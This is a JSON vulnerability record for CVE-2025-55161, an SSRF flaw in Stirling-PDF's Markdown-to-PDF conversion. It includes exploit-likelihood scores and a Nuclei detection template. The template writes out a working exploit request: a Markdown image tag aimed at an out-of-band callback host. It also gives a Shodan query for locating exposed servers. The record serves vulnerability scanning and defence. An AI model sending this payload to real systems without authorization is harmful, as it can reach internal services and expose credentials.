{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-55161/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-55161/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-55161/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-55161/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-55161/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-55161"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-55161"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.01999,
      "kev": false,
      "percentile": 0.79839
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-55161.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2025-55161\n\ninfo:\n  name: Stirling-PDF SSRF via Markdown\n  author: beginee\n  severity: high\n  description: |\n    Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n  impact: |\n    Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.\n  remediation: This issue has been patched in version 1.1.0.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-55161\n    - https://github.com/Stirling-Tools/Stirling-PDF\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L\n    cvss-score: 8.6\n    cve-id: CVE-2025-55161\n    cwe-id: CWE-918\n    epss-score: 0.01999\n    epss-percentile: 0.79839\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.title:\"Stirling PDF\"\n  tags: cve,cve2025,ssrf,stirling-pdf,pdf,markdown,oast,oob,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/convert/markdown/pdf HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK\n\n        ------WebKitFormBoundaryvAfAbBmFpYrQfooK\n        Content-Disposition: form-data; name=\"fileInput\"; filename=\"{{filename}}.md\"\n        Content-Type: application/octet-stream\n\n        <img src='http://{{interactsh-url}}/' />\n        ------WebKitFormBoundaryvAfAbBmFpYrQfooK--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'dns')\n          - contains(content_type, \"application/pdf\")\n          - status_code == 200\n        condition: and\n# digest: 4a0a004730450220505b0b6051b13cc6b38cb5f4c67face6a73c645539a28c646a4ca0fdb4b60521022100d058fd7e4a3c3a95ea8b126758c103d49289b4654628732ed255a4cf451849a9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-55161"
}